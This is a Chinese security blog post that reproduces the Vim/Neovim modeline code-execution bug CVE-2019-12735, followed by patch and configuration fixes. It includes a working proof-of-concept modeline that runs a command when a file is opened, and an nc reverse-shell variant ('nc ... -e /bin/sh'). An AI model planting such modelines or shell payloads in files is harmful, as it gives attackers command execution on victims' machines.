正文 首页渗透测试

Vim任意代码执行漏洞(CVE-2019-12735)

棒打小朋友

Vim通过Modelines执行任意代码
漏洞概要: 在8.1.1365之前的Vim和在0.3.6之前的Neovim很容易通过打开特制的文本文件而通过模型执行任意代码。

复现条件: 确保未禁用modeline选项(:set modeline)。
开启 modeline
# vim /usr/share/vim/vimrc
大概在50行写入 ? ?:set modeline
?
复现过程:
1.?? ?创建poc.txt
输入代码 ?:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

?
2.?? ?用vim打开poc.txt
?
可以看到vim在打开poc.txt的时候执行了uname -a命令


进阶:创建反弹shell
1.监听反弹端口
#nc ?lvp 9999
?
2.利用nc反弹shell
?将之前的把uname ?a 更换为 Nohup nc 127.0.0.1 9999 ?e /bin/sh
?
?
打开后反弹shell
?


修复建议:
一:打补丁
Vim补丁8.1.1365?
https://github.com/vim/vim/commit/5357552
Neovim补丁(在v0.3.6中发布)
https://github.com/neovim/neovim/pull/10082
https://github.com/neovim/neovim/releases/tag/v0.3.6

二:在vimrc(set nomodeline)中禁用model,使用securemodelines 插件
?

本文标题:Vim任意代码执行漏洞(CVE-2019-12735)
本文链接:https://www.toobug.cn/post/912.html
作者授权:除特别说明外,本文由 棒打小朋友 原创编译并授权 TOOBUG信息安全网 刊载发布。
版权声明:本文不使用任何协议授权,您可以任何形式自由转载或使用。

用TOOBUG官方小程序阅览更加简洁
-- 展开阅读全文 --